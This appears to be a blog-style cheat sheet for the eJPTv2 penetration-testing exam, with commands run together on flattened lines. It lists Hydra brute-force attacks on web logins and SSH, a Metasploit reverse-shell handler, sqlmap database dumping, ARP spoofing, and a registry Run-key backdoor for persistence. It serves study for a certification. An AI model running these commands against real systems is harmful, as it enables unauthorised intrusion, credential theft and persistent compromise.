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The eJPTv2 (eLearnSecurity Junior Penetration Tester v2) certification is a popular entry-level cybersecurity credential that validates practical penetration testing skills. Below is a comprehensive cheat sheet to help you prepare for the exam and perform real-world ethical hacking tasks.
🔗 Reference Link: eJPTv2 Cheat Sheet
You Should Know:
1. Network Scanning with Nmap
Nmap is essential for discovering hosts, services, and vulnerabilities.
Basic scan nmap -sV -A target_ip Stealth scan (SYN) nmap -sS target_ip OS detection nmap -O target_ip Aggressive scan with scripts nmap -T4 -A -v target_ip Scan specific ports nmap -p 80,443,22 target_ip
2. Web Application Enumeration
Use tools like Gobuster and Nikto to find hidden directories and vulnerabilities.
Directory brute-forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt Nikto vulnerability scan nikto -h http://target.com
3. Password Cracking with Hydra
Brute-force login credentials efficiently.
HTTP POST form attack hydra -l admin -P /usr/share/wordlists/rockyou.txt target_ip http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid" SSH brute-force hydra -L users.txt -P passwords.txt ssh://target_ip
4. Metasploit Framework Basics
Leverage Metasploit for exploitation and post-exploitation.
Start Metasploit msfconsole Search for exploits search exploit_name Use an exploit use exploit/multi/handler Set payload set payload windows/meterpreter/reverse_tcp Set options and execute set LHOST your_ip set RHOST target_ip exploit
5. Privilege Escalation (Linux & Windows)
Linux:
Find SUID files find / -perm -4000 2>/dev/null Kernel exploits searchsploit linux kernel 3.2
Windows:
Check user privileges whoami /priv Use WinPEAS for enumeration .\winpeas.exe
6. Packet Analysis with Wireshark & Tcpdump
Capture packets tcpdump -i eth0 -w capture.pcap Filter HTTP traffic tcpdump -i eth0 port 80 -A
What Undercode Say:
The eJPTv2 certification is a great starting point for aspiring penetration testers. Mastering tools like Nmap, Hydra, Metasploit, and Burp Suite is crucial. Always practice in legal environments like Hack The Box or TryHackMe.
Additional Commands to Explore:
SQL Injection testing sqlmap -u "http://target.com/page?id=1" --dbs ARP Spoofing (MITM) arpspoof -i eth0 -t target_ip gateway_ip Windows persistence reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\malware.exe"
Expected Output:
A well-prepared eJPTv2 candidate should be able to:
- Perform network reconnaissance
- Exploit common vulnerabilities
- Conduct post-exploitation tasks
- Document findings professionally
🔗 Further Reading: eJPTv2 Official Site
References:
Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
